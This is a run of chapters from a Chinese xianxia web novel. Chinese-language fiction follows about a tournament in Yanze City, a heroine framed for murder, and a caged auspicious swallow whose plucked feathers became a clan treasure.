待沈无雍一行人彻底消失在众人视野中,城尉修士再度回首,一派得意,气势咄咄道。 “交得出钱吗?没钱赶紧滚蛋,后面一群人排队等着进城呢。” 祈清和深感无奈,她一招便能放倒眼前这个外强中干的狐假虎威之人,可一旦出手,惹出太大动静,于她,于沈北歌而言,都并非幸事。 就在她正欲妥协之际,另一道清澈空灵的女声凭空响起,咯咯笑道。 “再不让他们进城,你今天,会死掉哦~” 来者是个披发阴沉的少女,没有穿鞋,破破烂烂的宽大黑衣拖地,个子娇小玲珑,只比房灵小梦高出几分,与其说是少女,倒不如说是孩童,头发也胡乱散开,从垂落发丝间露出明亮漆黑的双眼,平添几分诡异。 她不知从哪里冒出来,此刻正从城内往外探头打量着,倚着城门,阴恻恻地笑。 城尉修士面色惨白,却又不屑,仿佛见了晦气似的呸了一口。 “今儿怎么倒霉碰上你了。” 说罢,又怕惹祸上身似的,也不再嚷嚷着十五万铢钱,只是潦草批了进城文书,让祈清和一行人赶紧走,三人这才进了城。 燕泽城是瀛洲极富盛名十里繁华场,九衢三市人烟阜盛,一百一十街巷熙来攘往,祈清和回头,却见城门口人流络绎,哪儿还有什么黑衣乌发的诡异小女孩。 “刚才那个女孩儿,你认识吗?”她询问沈北歌。 沈北歌也一脸茫然莫名:“没见过,或许是其他世家的弟子?” 应知离倒是一直打量流连燕泽城,街宇商肆鳞次栉比,金翠耀目,罗绮飘香,宝马仙车争驰于御路,新声巧笑,按管调弦,他目光熠熠,对一切都很新奇。 祈清和想起他是个黑户,出入各地肯定都有困难,便问他以往如何进城,他想了想,倒是诚实回答:“一般都是夜间翻墙才能进来,白日里会被人驱逐的。” …… 难怪方才进不了城,应知离一直气定神闲,原来是早就违律强闯成习惯。 茶坊食肆飘出阵阵香气,沈北歌对这里一切都轻车熟路,拉着他们进了城东一家客栈住店打尖,她说这里掌柜做的糖芋苗最好吃不过,刚进大堂,就听见喧哗四起,有修士惊呼道。 “沈家这么大方?拿压箱底的宝贝用来作单人大比彩头?那可是天女衣!” “你快去灵镜修真云端上看看吧,都炸锅了。” “谁不知道这大比每届前几甲都是照瑞山庄嫡系出身,他们内部明争暗斗终于惦记上镇家之宝了?” 修真云端是修士间最通达热络的隔空交流平台,前些年由最擅长机巧奇门的千机学宫一举普及,名扬四海十洲,祈清和不常使用,听得这嘈杂话语,也不禁好奇。 她回头,只见沈北歌正捧起灵镜认真捣鼓研究着。 “他们真的舍得天女衣啊!”沈北歌双眼放光,随后抬头碰上祈清和与应知离好奇探究的目光,连忙解释道,“沈家族徽不是五彩金腰燕嘛,这和沈家发家史有关。” “相传沈家先祖初来燕泽时,有遇一彩燕飞翔来去,以为瑞象,便于此地起家,家业果真顺风顺水,照瑞山庄也由此闻名,后来,沈家先人将族徽定为五彩金腰燕,寓意彩燕保佑。” “而天女衣,相传由五彩金腰燕飞舞时落下的羽毛编织而成,是乃沈家镇家之宝,祥瑞之物。” 如同神兵会有百兵谱一般,四海十洲天材地宝也有那么一个罗列排序,分得天地玄黄四种品阶,其中,以天地灵气所孕育之物,如并蒂花,如天女衣,常归于天字榜。 这种法宝一出世,皆会引起举世惊涛骇浪的争抢,天地造物,向来可遇不可求。 沈北歌继续扒拉灵镜:“这下四大世家可要蜂拥而至挤破头了,完了,这届大比肯定卷生卷死。” 哪怕燕泽大比名号大不如前,但层层筛选下仍旧涉及上万人,祈清和一行人并非为天女衣而来,但若想去沈家,也须在大比中排到前十甲,才能因最后角逐而进入照瑞山庄。 “大比机制和以往差不多,个人和组队皆可……”沈北歌火速从修真云端拟好报名表,填参赛者一栏时却犯了愁,“我们怎么报名 11.郁病难医 《又梦见修真界的早死白月光》全本免费阅读 应知离下意识上前一步,挡在祈清和身前,谢小公子持剑的手顿了顿,拿不准对方虚实,目光闪过一丝犹疑。 客栈掌柜见状惊恐尖叫:“燕泽大比明日便是初选开幕!两位道友若想切磋总能在擂台上遇见!饶了我这薄利小店吧!” 他急急从柜台后出来,先是对着祈清和三人一拜,再向谢小公子深深行礼,诚恳道。 “谢小公子息怒,糖芋苗售罄是因从流洲进的桂花正巧用完,眼下跑堂的丫头已去城门处取货,待稍后桂花取来,我再命厨子做一份向公子赔罪。” 谢小公子面色这才稍好些,略有些不自在地摸摸鼻子,将剑抛回给随从,坦然随意道。 “那行吧。” 在美食面前,谢小公子自认没有任何架子和原则,于是他当即把方才冒犯抛诸脑后,反而抱拳作揖,自报家门。 “名辩道,缙山谢桓。” 祈清和眼中拂过一丝讶色。 近几百年来四海十洲难得太平,百家兴起大道千般,人人皆可求道,故修士自报家门时,若诚心结交,常会先提道途,再接师门来处。 譬如沈北歌因过往经历,她的道心便由“生存”而起,正经自我介绍起来,便是“寻生道,燕泽沈北歌”。 名辩道善诡论,简而言之如若吵架碰上修此道途的修士及其难赢,祈清和思忖方才一言不合便想动手的谢小公子,深感真是人不可貌相。 沈北歌微微踮起脚尖,贴过来附耳悄声道:“谢桓这个名字我听过,是缙山谢氏二当家的关门弟子,上届燕泽大比的单人擂台探花。” 谢桓诚恳,他身后跟着的一群随从也齐刷刷行礼,于是祈清和放弃计较,回礼言话,在听到“辛夷”二字时,谢桓面色变了变。 他说:“我还以为裴家这次都是从涿鹿赶来的呢。” 涿鹿才是裴家主力派系盘踞地,辛夷坞不过是培养活人蛊的器皿,祈清和正欲开口探听消息,只见客栈堂帘一动,从外轻盈跳跑进来一个矮小人影。 乌发黑衣,赤足,抱着一罐半人高的干桂花罐,祈清和眸光微变,这正是此前城门处那位说话奇怪的小丫头。 谢桓堂而皇之出现在此处客栈,到底闹了个不大不小的动静,陆陆续续诸多修士围拢上来一睹上届燕泽探花的风姿,自然注意到眼下遽然间出现于众人面前的黑衣小女孩儿。 “她怎么在这儿?完了祥瑞应免,我今天注定倒霉。” “掌柜的!她该不会是你这儿的跑堂伙计吧?那我退房!” “对!沈家怎么还没派人处理了她?” 黑衣小女孩儿瑟缩一下,本能后退几步,声音尖锐反驳道。 “跑堂姑娘被城门的坠下梁木波及,受伤昏迷,人去了医馆,所以我来替她送此物呀。” 掌柜眉头紧锁,犹豫不决了好一会儿,随后深深叹气,无奈道。 “你带着这桂花罐赶紧走吧,我不要了,也别影响我生意。” 谢桓大惊失色:“我的糖芋苗啊!” 应知离蹙眉,神色十分不解道:“为何驱逐她?” 问得好,祈清和腹诽,她也想知道,为何一路走来,燕泽城中人对这小丫头皆是一副惟恐避之不及的模样。 此话被一旁的谢桓听了去,他微微侧身,折扇一挥遮面低声解释道。 “听闻这女孩名号玉真娘子,生而不详,言出必召灾殃,又定居燕泽几百年,故燕泽城人叫苦不迭,退避三舍。” 他目光转了转,又补了一句:“城门处梁木坍塌,恐怕在燕泽人眼里,便是她招致的祸事。” 这话让沈北歌倏然想起,她在照瑞山庄时确有听同门提及一二,说燕泽有位扫把星下凡,后来家主听闻这些议论声讨,却也没派人调查,只让师门上下别再提及。 于是这桩不起眼的小事便被她忘了。 祈清和眸光微动,却在众人异样的目光下两三步走至玉真娘子身前,半蹲下来,不紧不慢开口关切道。 “那你受伤了吗?” 此话一出,却是满堂寂静,周围人纷纷凉气倒吸,更有甚者生怕晦气沾身,不再停伫,反身上楼回房。 玉真娘子仰起头,双眸含着深潭似的水光,漆黑如星,圆而透亮,她目光颤了好一会儿,又轻轻掠过站在祈清和身后的应知离,才喃喃嘀咕道。 “你和你的同伴……会逢凶。” 是一句不吉利的话。 声音很小,除了祈清和,没有人听见。 凑得近了,祈清和才瞧见小女孩儿胳膊上连片淤青,瘀血慢慢化开,青一块紫一块,像推搡挨打时留下的,新的旧的叠着,经久不散。 在初次见到应知离时,在他腕上,也有过类似模样的淤青。 她目光一沉。 见祈清和良久不语,玉真娘子目光怯了怯,似乎是怕自己惹恼眼前人,又怕挨打,后退好几步转身就跑,跳过门槛,一眨眼,就逃出了客栈堂门,干桂花罐也没带走,倒着屋边咕噜噜打了个转。 祈清和叹气。 最后,祈清和他们到底没在这间客栈住下。 客栈掌柜委婉表示因他们接触了玉真娘子,其他客人投诉,不愿他们住在此处,沈北歌正想反驳这是哪门子的迷信,就见谢桓收了折扇,朗笑一声。 “谢家这次来燕泽,皆住于沈家照瑞山庄附近的一处廊院洞天,碰巧多出几间空房,免宿费,若不嫌弃,可借助于,就当是方才我诸多冒犯的赔礼。” 他话说的周到,挑不出错落,祈清和心中估算了一番燕泽大比这期间若自住需消耗的房费,最终点头应下。 燕泽大比初选开幕,从寅时起宫乐钟鼓声便没停过,声声振木,每座商肆楼阁皆悬彩帛仙绸,城中用来祈祀的几处高台被改造成擂台,几个擂台同时开赛,术法刀剑声响遏行云。 谢家的廊院洞天设有水帘镜幕,将擂台上的情况映照得一览无余,沈家主端坐于最高金楼上,庄重肃穆一言不发,仿佛高高在上一呼百应。 与此同时,修真云端亦如热油遇水似的喧哗沸腾。 【预测今年魁首必在沈无雍与谢桓二人中。】 【去年榜眼是谁?我记得是不是裴家的一位弟子?怎么没人猜他?】 【噢,那位没过多久就重伤不治而亡,燕泽大比一向放得开,生死勿论后果自负。】 【所以沈家还没抓到他们那出逃的小魔头吗哈哈哈哈哈,难怪今年沈家要拿天女衣镇场,这名望地位一落千丈谁能接受。】 …… 祈清和淡定阖上讨论如火如荼的灵镜,又瞥见抱膝坐在树下的应知离,他目光落在她身上,察觉她抬眸望过来,他又掠开了视线,去瞧那水帘镜幕。 对此,祈清和颇为无奈。 应知离不爱坐凳椅,他更习惯抱膝席地,甚至直接靠树而眠,枕着叶间洒下的碎金阳光,慵懒随意。 祈清和甚至有去修真论坛上咨询请教。 【提问:同伴更喜欢独处,不爱说话,喜欢席地而坐晒太阳怎么办?】 【匿名修士:谢邀,如果并非本身性格问题,记得密切关注同伴心理健康,是不是修炼栽了跟头?以免郁病难医心生魔障。】 祈清和默默扶额,这是要给予同伴一点点关爱的意思吗? 应知离对祈清和内心的复杂斗争一概不知,他专注地瞧着那能映出擂台的水帘镜幕,只见沈家主身边良久立着一个高瘦的黑袍黑发男子,那人抬起眸,金瞳一晃而过,扯出一丝笑意。 忽然有那么一瞬间,应知离恍然觉得,他与那双金色的眸子,目光碰了一下,那个人好像透过了水帘,阴沉地看着他。 那人是谁? 轻柔和缓的声音从耳畔传来,拉回应知离略微出神的思绪。 “你不善武,从前以何防身呢?” 祈清和在遍寻良策不得后,终于决定像关爱病人那样关照应知离,一路走来,她观察过应知离,他轻功很好,在她之上,亦是气息澄寂,三际圆通,不像毫无修为 12.孤立无援 《又梦见修真界的早死白月光》全本免费阅读 “初次见面。”黑发金瞳的俊朗青年似笑非笑,“我知道你,应知离。” 金瞳青年作了化形伪装,这并非他原本的模样,可无所谓,他知道,这副皮相瞒不过眼前人,于是他踱到应知离眼前,神色轻蔑嘲弄,一笑。 “你为何来燕泽。” 从进城起,玉真娘子便留意到了他们的一举一动,两人联手,将他抓至此处。 应知离仰起头,蹙眉打量了一会儿,无奈道:“你们总不能是为了杀我。” “没。”金瞳青年否认,“抓你,反而是因为不想害你,亦是不想你妨碍我们。” 应知离瞳孔紧缩,仿佛一条细而长的线,金瞳青年目光定了定,转然,又显出一丝恨意。 “我还想问问,你为何同裴谢二家走在一起?” 这恨意含得情绪复杂,应知离此刻才恍然记起,进城后,为瞒住祈清和与沈北歌身份,他用梦术,对二人皆做了容貌伪装。 她们并非裴谢二家人。 应知离默了须臾,反问:“你不是,也接近了沈家家主么。” 金瞳青年面色反而松了几分:“是啊,所以此时此刻,沈裴谢三家,应当开始互相厮杀了。” 应知离为何来到燕泽,又为何同裴谢二家走得近,答案都不重要,抓他,仅仅只是不想,他碍他们的事。 金瞳青年扬眸,拂袖而去,衣襟翻飞,身影一寸寸彻底没入黑暗。 他还另有要事,实在难以耽搁。 玉真娘子并未跟随金瞳青年一道离开,她目光探究,还有话要问。 应知离叹气,玉真娘子帮着那人抓他,自然也不会轻易放他离开,他正思忖着如何开口,娇小的玉真娘子倒先开了口,声音焦急。 “你的同伴?是谁?”她问道,在客栈里那个人的目光,实在太过眼熟且温柔,让她一时产生了难以置信的动摇。 应知离垂眸,眸光静了一会儿,才缓缓开口。 “你应当认出她的。”他轻声一笑,“你还欠着,她三万功德呢。” 玉真娘子面色霎时惨白,眸光悸动,不自觉后退几步,撞上了冰冷的墙面。 忽而,她又似乎想起了什么,转身想走,足尖却一软,踩了拖地长袍,踉跄几步,又来不及站稳,跌跌撞撞地,向外跑去。 应知离望着玉真娘子仓皇孑然的背影,心中担忧并未平息,他想,得想办法,离开这里。 出了地下铁牢,玉真娘子向着谢家所住的廊院洞天跑去,急得要喘不过气,心中恐惧却无限扩大,因为世家之间的互相厮杀,一定会将那个人牵连进去。 耳畔陆陆续续传来不少修士纷纷议论。 “听说谢家二当家昨夜死了?” “对,谢桓小公子可真惨,好心收留几个裴家人,哪知是引狼入室。” “啧啧啧,那凶手现在怎么样呢?” “拘在廊院刑罚室接受三方联审呢。” …… 玉真娘子身影灵巧,偷偷跑进去,借着灌木树林作遮掩,几乎没人能察觉她的存在。 她跃上一木古树,在重重树叶枝桠间,从窗棂半掩的一缕缝隙中,看见了那位曾经半跪下来问她是否受伤的女子,此刻正被人重重围困着,孤立无援。 玉真娘子绝望跌坐在树上,血液冰凉,是她无意中又害了她。 她蜷缩着颤抖,周身不自觉溢散出丝丝缕缕极淡极浅的雾气,只存在了一小会儿,又轻轻散开。 得找人来救她,玉真想,应知离被关着,还有一个人,另一个还在擂台上的女孩儿。于是她跃下树木,化作一道极快极小的黑色影子,向着燕泽大比擂台飞去。 「检测到心魔患者,已触发诊疗任务:渡化玉真娘子心魔。」 「任务奖励:玉简八十号。」 祈清和此刻站在人群中央,心中无奈对着小梦道,你觉得现在是说这个的时候吗? 「不是……呜哇堂主怎么办!这杀人黑锅被扣在我们头上了!」 这方不大不小的刑罚室内,除苏家外其余世家代表长老一应到齐,最前面端坐着沈家的一家之主,左右两侧各坐着一位谢家长老,而裴家几位长老站在周围,面色皆是怒意。 站在最前的,是裴家家主,他与祈清和印象中的模样一般无二,锦衣仙袍,只是目光里再没了梦中那般尽在掌握的从容,反而一派凝重。 祈清和心中重新思忖一切线索,昨日应知离失踪,她不得不从廊院洞天一路寻人,却在经过谢家二当家住处时听见了响动,她误以为与应知离相关,掩了身形一探,却见到了谢家二当家的尸体。 此事干系甚大,惊动了四大世家,沈家主凭借廊院洞天各处所设的回溯珠,一口笃定凶手是她这位借住于谢家的裴家弟子所为。 于是,她被带到此处,接受三方联审。 “裴小友不承认自己杀害了谢二当家?”说话的,是沈家的一位长老。 祈清和冷笑:“证据呢?难道仅仅凭着回溯珠中我一闪而过的身影吗?” “放肆!”一位谢家长老面色涨红,厉声斥道,“杀害谢二当家的剑意出自裴家心法,廊院洞天除你三人外再无任何裴家人,人证物证俱在,难道是诬陷?” 这话一出,室内不少人愤愤怒目。 可祈清和压根不会什么裴家心法,她心念百转千回,如此,幕后之人仅仅只是看中了她裴家弟子的身份,想把这罪责,推到裴家头上,才会在杀害谢二当家时,用了裴家剑意。 可她却不能承认自己并非裴家弟子,否则真实身份、动机、目的一应都会被彻查,从而牵扯出沈北歌的通缉身份,亦牵连出辛夷坞之案。 到那时,梦回毒成分,活人蛊计划的证据,只怕全然皆会化作泡影,荡然无存。 幸亏沈北歌现在仍在擂台上,此事与她暂无干系。 祈清和定了定神,字字叩金击玉,试探了一句:“剑意亦可伪造,我仅是裴家一介不起眼的旁支,与谢二当家无冤无仇,杀他,于我百害无一利。” 一直一言不发的沈家主倒是笑了:“你自然与谢二当家无冤无仇,倘若……指示你的人,是裴家呢?” 裴家主面色微变。 沈家主笑得玩味,语气幽然:“而动机,自然显而易见,不是么?我们不妨敞开天窗直言,无患塔因何修筑,裴家家主心知肚明,谢二当家曾作为无患塔试验的研发药师,为何不会被裴家主灭口呢?” 如若不是联审下背负命案的凶手,祈清和倒觉得自己获悉了一语惊天内幕。 她心中再度飞速思索,无患塔活人蛊计划,她原以为是沈家出资,裴家开展试验,没曾想原来谢家也暗中掺了一脚? 可还未等她开口辩驳,刑罚室的门被倏然推开,众人齐齐回眸望去,一个桃衣粉衫的影子出现,杏眼剪眸,她站在茫茫天光下,眼眶微红。 祈清和眉心轻皱。 只见沈北歌急急走进这一隅昏暗,越走越快,最后近乎是小跑,她站在祈清和身前,不容置疑地抬手护住她。 很快有人认出来,这是此次燕泽大比一路轻松取胜,颇有潜力的半路黑马。 沈家主的目光在沈北歌面上停伫了一瞬,眼前的女子从未见过,但却让他无端想起了那位可恨可憎,不识好歹又出逃沈家的徒弟。 沈北歌抑制不住浑身发抖,目光畏惧又惊恐,眼前厉色而视她的,是从小亲自教导她的师尊,这种压迫深入骨髓,几乎出自本能,她想起过往师尊的日日鞭笞训诫 13.玉真娘子 《又梦见修真界的早死白月光》全本免费阅读 “第三百七十二场燕泽挑擂已结束,擂主守擂成功,连胜第三百七十二场。” “胜者——” “辛夷坞,裴乐。” 裴乐是沈北歌进燕泽城后所用的假名。 她额间渗汗,微微喘气,双剑早已卷刃,攥着剑柄的手却丝毫未松,擂台长老目光浮现一丝担忧,问她是否还要继续守擂。 沈北歌勉强笑了笑,重新调动灵气运转周天,直起身,挽剑作起手式。 “我继续。” 她不能站不住。 有个人的命,系在她身上。 祈清和正在廊院探查,凝眉沉眸,她晚一时查出真相,沈北歌便会在擂台上多承担一时压力。 哪怕她已让小姑娘再三保证万事以己身性命为主。 指间显形术再度掠过谢家廊院,纤毫无迹。 没有任何灵力残余,出入亦无痕,祈清和蹙眉思忖,恰如谢桓所言,谢二当家心脉中剑,一击毙命,非剑术高深者不可为之。 或许她思路有些许偏差,一味从证据入手查出真相并不现实,凶手出手干脆利落,显然早已谋划许久,何谈留下明显蛛丝马迹? 祈清和定神,重新整理线索。 凶手为何杀谢二当家? 是为隐瞒无患塔?还是为争夺天女衣? 腰间所配的灵镜忽明忽暗,大多是修真论坛上有关燕泽大比魁首的种种猜测讨论,祈清和正想挥手熄灭这物议沸然的灵光波动,却遽然忆起曾于灵镜中无意间看到的一番讨论。 ——去年榜眼是谁?我记得是不是裴家的一位弟子? ——噢,那位没过多久就重伤不治而亡。 如果裴二当家身亡,并非一桩独立案件呢? 祈清和疑窦陡生,她寻到沈家负责燕泽大比的长老,正色道。 “我需要近几届燕泽大比伤亡名单。” 沈家长老只是轻蔑睨了她一眼,推脱拒绝道:“沈家没那个闲工夫统计这个。” 无论有或没有伤亡名单,他们都不会交给她。 祈清和阖眸,微微叹气。 还有其他方法得知历届燕泽大比都有何人身亡吗? 有。 在梦里。 夜间清幽,来到归梦药堂时,祈清和却见到了一袭白衣斑斑血迹,倒于月阶前的应知离。 她心中一跳,连忙走过去半跪下,作势要去探他脉相。 应知离却反攥住她手腕,唇色苍白,微微摇头,沉了声道。 “抱歉……是我失踪的,不是时候。” 还未等祈清和说什么,他又尽量扬起一抹笑容,掩住伤痛,继续问道。 “你是不是要看,燕泽城世人的梦。” 祈清和怔愣,缓缓点头。 应知离抬手,手心泛起隐隐白光,周遭雾色渐渐散去,雕花院门无声轻开,显出整个燕泽全貌。祈清和望过去,才觉此时归梦堂正悬停于燕泽上空,浸于沉酽夜色,俯瞰星星灯火朦胧。 应知离再作法结印,只见白色流光铺天盖地自归梦堂而出,浩瀚如浪涌出,仿佛淹没燕泽。 于是祈清和再一次见到云海。 每一场梦都像一片云。 它们从每家每户屋檐瓦砾中浮出,被牵引着,有序又轻盈地汇向归梦,仿佛一场倒流春雪,溢彩流光。祈清和起身,所有梦境都顺从地匍伏于她身边,显出各色各异的景象模样。 历代燕泽大比究竟发生何事,没有人比燕泽人更为清楚,总有那么一个两个人,会在梦里显出过往只言片语,她只需将其拼凑于完整,便能有一语答案。 上一届燕泽大比,顾家亲传弟子死亡三人,姜家弟子死亡二人…… 上上届燕泽大比,崔家弟子死亡二人,长老死亡一人,沈家重伤弟子若干…… …… 燕泽大比哪怕生死自负,可彩头一向大方,仿佛诱人钓饵,于是数不清的仙门百家弟子成了池里一尾饥饿的鱼,争先恐后纷踊而至,张着贪婪大嘴扑来,翻滚骚动。 各家精英势力在这厮杀中不知不觉被削弱,直至衰败式微,于是稍大的世家吞并小世家以此增强自身,像大鱼吞噬小鱼那样理所当然。 祈清和垂眸,她身边云彩恍然一现,幽幽远去,重归万家,一切无知无觉,归梦堂四周再度被白雾笼罩,重归于虚无。 有答案了吗? 燕泽大比恐怕是四大世家牵头的,一场持续良久的,世家吞并之举。 直至最近几年,兼并之风甚至弥漫到至四大世家内部,明争暗斗,权力倾轧,裴家曾为重整势力试图重启无患塔,而沈家,多半以天女衣为饵,以谢二当家死亡为引,挑起裴谢二家矛盾。 祈清和思索,谢桓或许真猜对了几分,天女衣作为燕泽沈氏镇族之物,沈家会亲眼看着它落入其他世家手中吗? 他们尚能为了一朵并蒂花毫不留情,自然亦会千般设计保下天女衣。 只需,让最后燕泽大比的魁首,是沈家弟子即可。 谢二当家身亡,谢桓一旦道心动摇,身死擂台,一举双得,而这口黑锅,再推至裴家头上,沈家渔翁作壁上观。 可这一切皆为猜测,毫无实证。 归梦院门前忽而闪过一道黑色影子。 “谁?”祈清和冷声,眸光淬冰,抬手摘叶飞花循声击去。 “……” 应知离正坐于塘边以水洗衣,想拂去自身血迹,只听得几道飞叶之声,他仰头,只见那黑影一动不动,硬生生扛下青衫少女的攻击,缓缓于暗处中赤足而出。 玉真娘子。 应知离想,或许她的全名,是燕玉真。 燕玉真站在院门处,怔了神,想再靠近几步,却迈不开步子,只是固执地望着那并未幻化易容的青衫女子,目光一分都不肯挪开。 爱着青衫的好看姑娘一如自己记忆中的模样,可她望过来的目光,却又陌生。 眉梢微沉,拢着几分疏离淡漠,她问道。 “你是谁。” 好看姑娘不记得自己了,燕玉真心中涌出好多好多难过,周身再度不自觉浮出一缕黑雾。 祈清和蹙眉。 这几日她一心忙于寻查谢二当家之死真相,险些都忘了,她渡化心魔的任务。 眼前的小女孩儿仅是心魔初生,并不严重,但以静水点额却又难以化解,她正想再仔细询问,黑衣乌发的小女孩儿却轻轻开了口。 “我叫……燕玉真。” “当年我还不理解何为功德,误解了你的意思,很抱歉。” 祈清和心中一跳,眼前的小女孩儿,原来是欠了归梦堂三万功德那位燕姓女子。 她想解释,功德这事儿看不见摸不着,哪能以数计量?你没欠我的。 燕玉真又道:“这么多年,我无法离开燕泽,没能去找你。” 祈清和豁然生出一个猜想,燕姓,黑衣,城门前与客栈间恍若预知般的言辞。 那不是城中人所谓的诅咒不详,那是“知凶”。 “你是庇佑燕泽几百余年的,五彩金腰燕, 14.自言天女 《又梦见修真界的早死白月光》全本免费阅读 鸟类羽毛自然不能随意赠人。 可燕玉真却未觉出任何不妥,它喜欢她,想亲近她,于是固执又认真地将那尾靛蓝羽毛塞进她手心,又认真道。 “没关系!不是绒羽,它是我给予你的祝福!这样下次你结课考,兴许就不会挂科了?” 燕玉真在书案上跳来跳去,活泼的像团绒球,只见它拨弄着几十根蓍草,排成各式形状,颇有些老神在在地嘀咕着什么。 祈清和不通卜算推演,但燕玉真生而为瑞,自是对这一切得心应手。 “阿月!这次宗门历练你不要去,会出事的!” “诶?可是这次历练很重要,关系到我的能否过内门考啊……” 燕玉真焦急地飞来飞去,只是翻来覆去重复着这一句话。 它能知吉凶祸福,可却无法知晓其间差别与轻重,普通平地摔与惨烈丢掉性命,在它眼中,都归于“凶运”。 与此同时,门外传来一道陌生的呼唤。 “阿月师妹,快点,南音师姐等你很久了。” “来了!” 祈清和听见自己再度不受控制地回答燕玉真。 “你别怕,只是一次最寻常的历练,我会注意安全,听闻这次是去保护神木,等我给你带好看的花枝回来。” “阿月”出门离去。 祈清和发现,她好像脱离了那具名叫“阿月”女子的身体,现下仿佛一抹无人可见的幽魂,飘荡于空。 看了梦境并不能反映梦主人所不知道的过去。 燕玉真孤零零于空盘桓了几圈,无奈离去。 那位名唤“阿月”的女子不在,它只得独自一鸟孤单度日,祈清和也逐渐打探清楚,此地是距离燕泽不远的另一处群山地界,又名方壶。 燕玉真盘桓此地数日后,重新飞往四海十洲各地,再度履行它作为祥瑞的职责。 可它实在太过亲人,逐渐,十洲各地世家都知晓,有这样一只小小五彩燕,自言天女,庇佑人间。 它每次只在一个地方作短暂停留,很快消失不见。 世家用了诸多办法,想恳请它长留于此地,但小小的燕子从来都只是天地万物的一部分,求不得留不住。 而当燕玉真再度重回燕泽时,燕泽早已是沈家作主,这一次,它所面临的,再非人类的亲厚和睦,而是一网专用于捕妖杀妖的法器。 一网捕妖罩轻而易举束缚住了燕玉真,它被困于鎏金樊中,战战兢兢,浑身羽毛炸开,无限恐惧笼罩席卷,甚至试图撞击那笼子逃离此地,直至头破血流,奄奄一息。 它就这样被关了十几天,逃不开躲不掉,直至沈家主出现,以满含贪欲的目光打量着它。 燕玉真吓一大跳,本能挥翅欲飞,却再度撞上金笼顶,被上面附着的灵力刺了一下,又跌落栽倒。 沈家主笑容更甚,他半蹲下来伸手穿过金樊栏栅缝隙,轻轻拂过笼中燕玉真腰腹最柔软脆弱的绒毛处。 “我们得留下你啊。” “我听闻五彩燕本性其善,其身最为柔软细腻的绒羽,亦能预吉知凶。” 沈家主微微用力,强硬扯下燕玉真一缕绒羽,燕玉真吃痛地尖叫起来,胡乱挣扎,一身羽毛都沾了血污,显得凌乱又黯淡。 “真漂亮的羽毛,织成衣袍,一定很好看。” 祈清和心中惊骇,原来,沈家所流传的镇家之宝天女衣,竟是以强困祥瑞的途径剥夺。 祥瑞属世间千万神兽的一种,最为罕见,且皆亲人善信,而四海十洲修士为获资源增强修为常有斩凶除恶,捕杀妖兽之事,对此,仙盟曾特地下律,禁止伤及祥瑞。 可这是几百年前,只手遮天的沈家。 而燕玉真被剥其羽毛,不仅再难高飞,且再无可能,离开燕泽。 梦境逐渐开始黯淡消散。 祈清和思忖,沈家困住祥瑞,制成天女衣,又以天女衣为饵,引世家相互厮杀,只怕谢二当家之死,亦是沈家暗中动手。 可她没有证据。 而且她亦需要,仙盟的人来此处理此事,否则仅仅他们三人,绝无可能揭开真相,定罪沈家。 可哪怕现在通知仙盟,从鸿京来此,最快也需三日左右。 难怪沈家主如此自信笃定放任她自由行动,他笃定沈北歌修为平平,于擂台上撑不过几日,也笃定自己查不出真相,寻不到证据线索。 祈清和回到归梦堂。 燕玉真抱膝蹲着,黑衣席地,祈清和叹气,半跪下去,揉了揉燕玉真蓬松柔软的头发。 原来你曾有过那般漂亮羽毛。 燕玉真仰起头,眼眶中含着泪水,眨眨眼,那泪水倏然唰的落下,滑过脸颊。 “应知离。”祈清和想了想,抬眸,碰上应知离探究沉默的目光,问道,“你有没有办法,将梦境,拖入现实?” 应知离顿了一瞬,点头。 “可以。” 从归梦药堂醒来,已然天光大亮。 ——“第一千二百场燕泽挑擂已结束,恭喜辛夷坞裴乐,进入燕泽大比前十甲。” 燕泽仍旧人声鼎沸,尤其是前十甲的厮杀,向来白热精彩,此届彩头可得天女衣,热闹尤甚,一众道友纷纷攘攘,不少御剑御兽的剑修驭兽师从群山穿梭而过。 修真论坛上更是喧闹惊诧声四起。 【(直播中)沈家照瑞山庄燕泽大比十甲,本届擂主下注中!点击此链接跳转。】 【我去有没有人关注那个用双剑的女剑修?!这是谁家亲传弟子跑来踢馆了?】 【沈无雍与谢桓也是一路连胜杀上来的啊,那个女剑修跟前面两位大佬比肯定逊一筹,就别掺和神仙打架了。】 【(提问)我最近梦见了一个青衫女子,那是谁?】 …… 燕泽大比最后十甲的较量切磋地不在城中,而设置在沈家照瑞山庄的无量剑台。 那亦是沈北歌当初入魔断经之地。 剑台坐落于沈家剑冢之上,原本灵气缭绕的群峰山间被布置成了擂台场地,正中心较低的平地处是比武处,没有观众,一切赛况皆靠水帘镜幕转播。 沈北歌就是这样,咬咬牙,拖着卷刃的双剑,顺着石阶步道,一步一步重新走回剑台。 云霭间剑碑林立,雨霰疏疏,寒意浸入四肢百骸,戾风咆哮,她在剑台上,见到了谢桓。 一身拂紫锦衣的谢小公子双臂交叉抱胸,手持折扇,一双似笑非笑潋滟桃花眼,笑眯眯地打量着一身狼狈,衣衫破损的沈北歌。 这个小女孩真的很有趣,他这几日一直在观察,眼前姑娘刻意隐藏拆解了自己的剑招,不是裴家一脉相承的剑术心法,也不是宗门世家中一板一眼训练出来的弟子。 她的剑招,是那种历经了无数生死后,才有的孤注一掷。 谢桓几乎可以笃定,她不是裴家弟子。 她是谁呢? “嗨,好久不见。”谢桓笑眯眯地打了个招呼。 沈北歌没理他,长 15.濯雨催花 《又梦见修真界的早死白月光》全本免费阅读 数十道无形杀气直冲沈北歌命门而去。 沈北歌暗道不好,一个侧滚勉强避开,来不及调整招式,那杀气剑风化作滚滚火焰咆哮袭来,她持剑结印艰难化解火焰,好几次罡风贴着她的面颊将将擦过,割出几道豁口,微微渗血。 她太了解沈无雍了。 百余年的师兄妹情分,让她对沈无雍的一招一式都熟悉到刻入骨髓,如果不是身处剑台,沈北歌几乎要以为,这只是最为寻常不过的一天,缠绵细雨间,她与师兄一同切磋修习。 所以她知道,师兄没有半分留情。 他是真的想置她于死地。 “师妹。”沈无雍声音低沉多情,剑尖却再凝了一道死诀挥过去,“师妹,你叛出师门已是大逆,现在认输,你或还有一线生机。” 天地间蕴含的巨大的压力漫天席卷,沈北歌躲得慢了一分,硬生生挨了死诀余力之压,一口血涌上舌尖,她只觉得五脏六腑皆如错位般疼痛难忍。 一道血水从沈北歌额发上淌下来。 “你修的不是寻生道吗?现在向死之举,不像你的道啊。” 沈无雍言语自若,仿佛将眼前沈北歌打至重伤的人,不是他似的。 “铛——” 恍然间,杀招早已破风劈来,她抬剑一挡,虎口渗血,兵刃相撞,沈无雍微微眯眼,调动灵力轻轻一压,沈北歌再扛不住这剑意,双剑竟“咔”一声,寸寸碎裂断开。 化作一地碎片。 站在一旁场外的谢桓叹气。 